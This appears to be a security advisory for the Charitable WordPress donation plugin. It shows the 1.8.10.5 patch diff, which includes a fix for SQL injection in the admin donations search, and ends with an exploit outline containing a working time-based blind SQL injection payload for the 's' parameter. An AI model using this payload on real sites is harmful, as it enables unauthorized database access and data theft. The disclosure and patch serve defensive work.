*/ add_action( 'wp_ajax_charitable_debug_log_scan', array( Charitable_Tools_System_Info::get_instance(), 'ajax_debug_log_scan' ) ); +/** + * Capture failed plugin installs/updates into a small ring buffer so the + * "Recent Plugin Install/Update Errors" section of System Info has data + * to show. Pure pass-through on success. + * + * @since 1.8.10.5 + */ +add_filter( 'upgrader_install_package_result', array( 'Charitable_Tools_System_Info', 'log_install_result' ), 10, 2 ); + add_action( 'admin_enqueue_scripts', array( Charitable_Tools_Misc::get_instance(), 'enqueue_scripts' ) ); /** @@ -355,6 +355,7 @@ $data .= $this->email_diagnostics(); $data .= $this->donation_error_logs(); $data .= $this->debug_log_scanner(); + $data .= $this->hosting_environment_info(); $data .= "\n" . '### End System Info ###'; @@ -1683,6 +1684,298 @@ return self::$instance; } + + /** + * Hosting Environment, Filesystem, and recent Plugin Install error details. + * + * Designed to surface the signals that matter most when troubleshooting + * plugin upload/install failures on managed hosts (WordPress.com, WP + * Engine, Kinsta, etc.) where standard PHP limits are misleading. + * + * @since 1.8.10.5 + * + * @return string + */ + private function hosting_environment_info() { + + $data = "\n" . '-- Hosting Environment' . "\n\n"; + $data .= 'Detected Host: ' . self::detect_host() . "\n"; + $data .= 'Reverse Proxy/CDN: ' . self::detect_proxy() . "\n"; + + $data .= "\n" . '-- Filesystem & Updates' . "\n\n"; + $data .= 'DISALLOW_FILE_EDIT: ' . self::format_constant_state( 'DISALLOW_FILE_EDIT' ) . "\n"; + $data .= 'DISALLOW_FILE_MODS: ' . self::format_constant_state( 'DISALLOW_FILE_MODS' ) . "\n"; + $data .= 'AUTOMATIC_UPDATER_DISABLED: ' . self::format_constant_state( 'AUTOMATIC_UPDATER_DISABLED' ) . "\n"; + $data .= 'WP_AUTO_UPDATE_CORE: ' . self::format_constant_state( 'WP_AUTO_UPDATE_CORE' ) . "\n"; + $data .= 'FS_METHOD: ' . ( defined( 'FS_METHOD' ) ? esc_html( (string) FS_METHOD ) : '(auto-detect)' ) . "\n"; + $data .= 'Plugin Dir Writable: ' . ( is_writable( WP_PLUGIN_DIR ) ? 'Yes' : 'No' ) . ' (' . WP_PLUGIN_DIR . ')' . "\n"; + $data .= 'wp-content Writable: ' . ( is_writable( WP_CONTENT_DIR ) ? 'Yes' : 'No' ) . "\n"; + + // Note about misleading PHP limits on managed hosts. + if ( self::is_known_managed_host() ) { + $data .= "\n" . 'Note: PHP upload/memory limits shown above reflect OS-level config.' . "\n"; + $data .= 'Managed hosts may enforce stricter platform-level caps that override them.' . "\n"; + } + + // Recent install errors (captured by the upgrader_install_package_result filter). + $errors = (array) get_option( 'charitable_recent_install_errors', array() ); + if ( ! empty( $errors ) ) { + $data .= "\n" . '-- Recent Plugin Install/Update Errors (last 5)' . "\n\n"; + foreach ( array_reverse( $errors ) as $err ) { + $ts = isset( $err['time'] ) ? gmdate( 'Y-m-d H:i:s', (int) $err['time'] ) . ' UTC' : '?'; + $action = isset( $err['action'] ) ? $err['action'] : '?'; + $plugin = isset( $err['plugin'] ) && $err['plugin'] ? $err['plugin'] : '(unknown)'; + $code = isset( $err['code'] ) ? $err['code'] : '?'; + $msg = isset( $err['message'] ) ? $err['message'] : ''; + $data .= '[' . $ts . '] ' . $action . ' ' . $plugin . "\n"; + $data .= ' Code: ' . $code . "\n"; + $data .= ' Message: ' . wp_strip_all_tags( $msg ) . "\n"; + } + } + + return $data; + } + + /** + * Detect the hosting platform. + * + * Read-only: only checks defined constants, loaded classes, and + * already-installed mu-plugin filenames. No filesystem scanning beyond + * the existing get_mu_plugins() result, no network calls. + * + * @since 1.8.10.5 + * + * @return string Human-readable host description, or "Unknown / generic". + */ + private static function detect_host() { + + // Cache the result — this is called at least twice per render + // (once directly, once via is_known_managed_host()). + static $cached = null; + if ( null !== $cached ) { + return $cached; + } + + // WordPress.com (Atomic infrastructure). + $is_wpcom = defined( 'WPCOMSH_VERSION' ) + || defined( 'IS_ATOMIC' ) + || defined( 'IS_WPCOM' ); + + if ( ! $is_wpcom && function_exists( 'get_mu_plugins' ) ) { + $mu = get_mu_plugins(); + if ( isset( $mu['wpcomsh-loader.php'] ) ) { + $is_wpcom = true; + } + } + + if ( $is_wpcom ) { + $cached = 'WordPress.com (' . self::detect_wpcom_plan() . ')'; + } elseif ( defined( 'WPE_APIKEY' ) || defined( 'IS_WPE' ) || defined( 'WPE_ATLAS_PLUGIN_VERSION' ) ) { + $cached = 'WP Engine'; + } elseif ( defined( 'KINSTAMU_VERSION' ) || defined( 'KINSTA_CACHE_ZONE' ) || class_exists( 'Kinsta\\Cache' ) ) { + $cached = 'Kinsta'; + } elseif ( defined( 'PANTHEON_ENVIRONMENT' ) || isset( $_SERVER['PANTHEON_ENVIRONMENT'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated + $cached = 'Pantheon'; + } elseif ( defined( 'IS_PRESSABLE' ) || defined( 'PRESSABLE_VERSION' ) ) { + $cached = 'Pressable'; + } elseif ( defined( 'CLOUDWAYS_VERSION' ) || isset( $_SERVER['cw_allowed_ip'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated + $cached = 'Cloudways'; + } elseif ( defined( 'GD_SYSTEM_PLUGIN_DIR' ) || class_exists( 'WPaaS\\Plugin' ) ) { + $cached = 'GoDaddy Managed WordPress'; + } elseif ( defined( 'MM_BASE_DIR' ) || class_exists( 'EPC_Loader' ) ) { + $cached = 'Bluehost / Endurance'; + } elseif ( defined( 'DH_LITESPEED_PLUGIN' ) || isset( $_SERVER['DH_USER'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated + $cached = 'DreamHost (DreamPress)'; + } elseif ( class_exists( 'SiteGround_Optimizer\\Loader' ) || class_exists( 'SG_CachePress\\Loader' ) ) { + $cached = 'SiteGround'; + } elseif ( defined( 'FLYWHEEL_CONFIG_DIR' ) || defined( 'FLYWHEEL_PLUGIN_DIR' ) ) { + $cached = 'Flywheel'; + } elseif ( defined( 'HOSTINGER_LOCAL_BIN' ) || defined( 'HOSTINGER_AMP_INSTALLED' ) ) { + $cached = 'Hostinger'; + } else { + $cached = 'Unknown / generic'; + } + + return $cached; + } + + /** + * Detect WordPress.com plan tier where possible. + * + * Tries several known surfaces in order; returns "plan unknown" if none + * are accessible (WP.com hides this info from most plugin contexts). + * + * @since 1.8.10.5 + * + * @return string + */ + private static function detect_wpcom_plan() { + + // Direct constant (rare, but possible). + if ( defined( 'WPCOMSH_PLAN' ) && constant( 'WPCOMSH_PLAN' ) ) { + return (string) constant( 'WPCOMSH_PLAN' ) . ' plan'; + } + + // Jetpack Plan API: present on WP.com sites because Jetpack is bundled. + // Wrapped in try/catch because Jetpack_Plan::get() has historically + // thrown on partially-initialised Jetpack states, and System Info + // must never fatal. + if ( class_exists( 'Jetpack_Plan' ) && method_exists( 'Jetpack_Plan', 'get' ) ) { + try { + $plan = Jetpack_Plan::get(); + if ( is_array( $plan ) ) { + if ( ! empty( $plan['product_name_short'] ) ) { + return $plan['product_name_short'] . ' plan'; + } + if ( ! empty( $plan['product_slug'] ) ) { + return $plan['product_slug'] . ' plan'; + } + } + } catch ( \Throwable $e ) { // phpcs:ignore + // Fall through to "plan unknown" on any Jetpack internal error. + unset( $e ); + } + } + + return 'plan unknown'; + } + + /** + * Detect a reverse proxy or CDN in front of the site. + * + * @since 1.8.10.5 + * + * @return string + */ + private static function detect_proxy() { + + $signals = array(); + + // phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotValidated + if ( ! empty( $_SERVER['HTTP_CF_RAY'] ) || ! empty( $_SERVER['HTTP_CF_CONNECTING_IP'] ) ) { + $signals[] = 'Cloudflare'; + } + if ( ! empty( $_SERVER['HTTP_X_SUCURI_CLIENTIP'] ) ) { + $signals[] = 'Sucuri'; + } + if ( ! empty( $_SERVER['HTTP_X_FORWARDED_HOST'] ) && is_string( $_SERVER['HTTP_X_FORWARDED_HOST'] ) ) { + $fwd_host = wp_unslash( $_SERVER['HTTP_X_FORWARDED_HOST'] ); + if ( is_string( $fwd_host ) && false !== stripos( $fwd_host, 'cdn' ) ) { + $signals[] = 'CDN (X-Forwarded-Host)'; + } + } + if ( ! empty( $_SERVER['HTTP_FASTLY_CLIENT_IP'] ) ) { + $signals[] = 'Fastly'; + } + if ( ! empty( $_SERVER['HTTP_X_AKAMAI_EDGESCAPE'] ) ) { + $signals[] = 'Akamai'; + } + // phpcs:enable + + return empty( $signals ) ? 'None detected' : implode( ', ', $signals ); + } + + /** + * Whether the current host is one we know enforces platform-level limits. + * + * @since 1.8.10.5 + * + * @return bool + */ + private static function is_known_managed_host() { + + $host = self::detect_host(); + + $managed = array( + 'WordPress.com', + 'WP Engine', + 'Kinsta', + 'Pantheon', + 'Pressable', + 'GoDaddy Managed WordPress', + 'Bluehost / Endurance', + 'DreamHost (DreamPress)', + 'SiteGround', + 'Flywheel', + ); + + foreach ( $managed as $needle ) { + if ( false !== strpos( $host, $needle ) ) { + return true; + } + } + + return false; + } + + /** + * Render a "constant defined and truthy" report line in a single string. + * + * @since 1.8.10.5 + * + * @param string $name Constant name. + * @return string + */ + private static function format_constant_state( $name ) { + + if ( ! defined( $name ) ) { + return 'Not defined'; + } + + $value = constant( $name ); + + if ( is_bool( $value ) ) { + return 'Defined (' . ( $value ? 'true' : 'false' ) . ')'; + } + + if ( is_scalar( $value ) ) { + return 'Defined (' . (string) $value . ')'; + } + + return 'Defined'; + } + + /** + * Capture failed plugin installs/updates into a small ring buffer. + * + * Hooked on `upgrader_install_package_result`. Pure pass-through on + * success (the filter must return its first argument unchanged in + * all branches). Only records WP_Error results for plugin-type + * operations. Caps storage at 5 most recent errors. + * + * @since 1.8.10.5 + * + * @param array|WP_Error $result The install package result. + * @param array $hook_extra Extra args from the upgrader. + * @return array|WP_Error Unchanged result. + */ + public static function log_install_result( $result, $hook_extra = array() ) { + + // Pass-through: only act on plugin install/update errors. + if ( ! is_wp_error( $result ) ) { + return $result; + } + + if ( ! is_array( $hook_extra ) || empty( $hook_extra['type'] ) || 'plugin' !== $hook_extra['type'] ) { + return $result; + } + + $entry = array( + 'time' => time(), + 'action' => isset( $hook_extra['action'] ) ? (string) $hook_extra['action'] : '', + 'plugin' => isset( $hook_extra['plugin'] ) ? (string) $hook_extra['plugin'] : '', + 'code' => $result->get_error_code(), + 'message' => $result->get_error_message(), + ); + + $errors = (array) get_option( 'charitable_recent_install_errors', array() ); + $errors[] = $entry; + $errors = array_slice( $errors, -5 ); + + update_option( 'charitable_recent_install_errors', $errors, false ); + + return $result; + } } endif; @@ -42,7 +42,7 @@ $charitable_welcome_headline = __( 'Welcome back to the Charitable Setup Wizard!', 'charitable' ); $charitable_introduction_text = __( 'You have already started the setup wizard. Would you like to continue where you left off?', 'charitable' ); $charitable_button_label = __( 'Resume Setup Wizard', 'charitable' ); - $charitable_onboarding_url = 'https://app.wpcharitable.com/setup-wizard-charitable_lite&resume=' . charitable_get_site_token(); + $charitable_onboarding_url = add_query_arg( array( 'resume' => 'true' ), charitable_get_onboarding_url() ); $charitable_welcome_go_back_url = admin_url( 'admin.php?page=charitable-setup-checklist&charitable_onboarding=cancel' ); } // Override even more things if the user is returning from a login after the onboarding process by checking for reauth=1 in the query string. @@ -50,8 +50,7 @@ $charitable_welcome_headline = __( 'Welcome back!', 'charitable' ); $charitable_introduction_text = __( 'You seem to have been logged out of your WordPress admin during the onboarding process. In order for the onboarding to install plugins and update settings please go back the last step and submit while you are still logged into WordPress.', 'charitable' ); $charitable_button_label = __( 'Go Back', 'charitable' ); - $charitable_onboarding_url = charitable_get_onboarding_url(); - $charitable_onboarding_url = 'https://app.wpcharitable.com/setup-wizard-charitable_lite&resume=' . charitable_get_site_token(); + $charitable_onboarding_url = add_query_arg( array( 'resume' => 'true' ), charitable_get_onboarding_url() ); $charitable_welcome_go_back_url = admin_url( 'admin.php?page=charitable-setup-checklist&charitable_onboarding=cancel' ); } @@ -86,7 +86,8 @@ $where_clause = $wpdb->prepare( 'post_type = %s', $args['post_type'] ); if ( ! empty( $args['s'] ) ) { - $where_clause .= " AND ((post_title LIKE '%{$args['s']}%') OR (post_content LIKE '%{$args['s']}%'))"; + $like = '%' . $wpdb->esc_like( $args['s'] ) . '%'; + $where_clause .= $wpdb->prepare( ' AND ((post_title LIKE %s) OR (post_content LIKE %s))', $like, $like ); } if ( ! empty( $args['start_date'] ) ) { @@ -770,6 +770,8 @@ if ( $result ) { // Clear the migration failure transient if it exists. delete_transient( 'charitable_stripe_signing_secret_migration_failed' ); + // Clear the failure counter — signing secret is fresh, past failures are no longer relevant. + delete_transient( 'charitable_stripe_webhook_verification_failures' ); wp_send_json_success( array( @@ -4,7 +4,7 @@ Requires at least: 5.0 Tested up to: 6.9.4 Requires PHP: 7.4 -Stable tag: 1.8.10.4 +Stable tag: 1.8.10.5 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html @@ -268,6 +268,13 @@ == Changelog == += Donation Form & Fundraising Campaigns v1.8.10.5 = +* NEW: Redesigned the "What's New" splash screen with a new hero section, video, and upgrade buttons. +* NEW: Added a Form navigation icon in the campaign builder with an upgrade prompt for the Charitable Pro visual form builder. +* IMPROVED: System Info now includes a Hosting Environment section. +* FIX: Hardened input handling in the donations admin search to improve query safety. +* FIX: Resolved a custom donation amount parsing issue with the decimal separator on non-US currency sites in certain scenarios. + = Donation Form & Fundraising Campaigns v1.8.10.4 = * FIX: Fixed an issue where multiple Stripe webhook endpoints could accumulate over time, causing donation webhook events to fail signature verification in certain scenarios. @@ -9,6 +9,7 @@ * @since 1.0.0 * @version 1.4.7 * @version 1.8.8.6 + * @version 1.8.10.5 */ // Exit if accessed directly. @@ -40,7 +41,7 @@ * @param string $context The context in which this is being shown. * @return string */ - echo apply_filters( 'charitable_donation_receipt_donation_amount', charitable_format_money( $charitable_amount ), $charitable_amount, $charitable_donation, 'summary' ) // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped + echo apply_filters( 'charitable_donation_receipt_donation_amount', charitable_format_money( $charitable_amount, false, true, $charitable_donation->get_currency() ), $charitable_amount, $charitable_donation, 'summary' ) // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> </dd> <dt class="donation-method"><?php esc_html_e( 'Payment Method:', 'charitable' ); ?></dt>
Exploit Outline
1. Authenticate to the WordPress dashboard with a user account that has the 'edit_others_donations' capability (such as an Administrator or Editor). 2. Navigate to the donation management interface at `/wp-admin/edit.php?post_type=donation`. 3. Submit a search request using the 's' parameter containing a time-based blind SQL injection payload. A typical payload would attempt to break out of the query context and trigger a delay: `?post_type=donation&s=test') OR (SELECT 1 FROM (SELECT(SLEEP(10)))a) OR ('1'='1`. 4. Analyze the server response time. A delay of approximately 10 seconds confirms the vulnerability, which can then be used to extract sensitive data from the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.